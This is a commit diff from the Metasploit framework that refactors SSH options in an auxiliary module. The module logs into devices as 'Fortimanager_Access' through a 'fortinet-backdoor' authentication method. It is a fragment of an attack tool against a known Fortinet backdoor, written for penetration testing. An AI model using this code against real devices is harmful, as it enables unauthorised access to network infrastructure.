Land #6612, missing commits included

bug/bundler_fix
William Vu 2016-02-29 14:05:59 -06:00
commit a6a37b3089
No known key found for this signature in database
GPG Key ID: 68BD00CE25866743
1 changed files with 9 additions and 4 deletions

View File

@ -36,20 +36,25 @@ class Metasploit4 < Msf::Auxiliary
])
register_advanced_options([
OptBool.new('SSH_DEBUG', [false, 'SSH debugging', false]),
OptBool.new('SSH_DEBUG', [false, 'SSH debugging', false]),
OptInt.new('SSH_TIMEOUT', [false, 'SSH timeout', 10])
])
end
def run_host(ip)
ssh_opts = {
port: datastore['RPORT'],
auth_methods: ['fortinet-backdoor']
}
ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
begin
ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do
Net::SSH.start(
ip,
'Fortimanager_Access',
port: datastore['RPORT'],
auth_methods: ['fortinet-backdoor'],
verbose: datastore['SSH_DEBUG'] ? :debug : nil
ssh_opts
)
end
rescue Net::SSH::Exception => e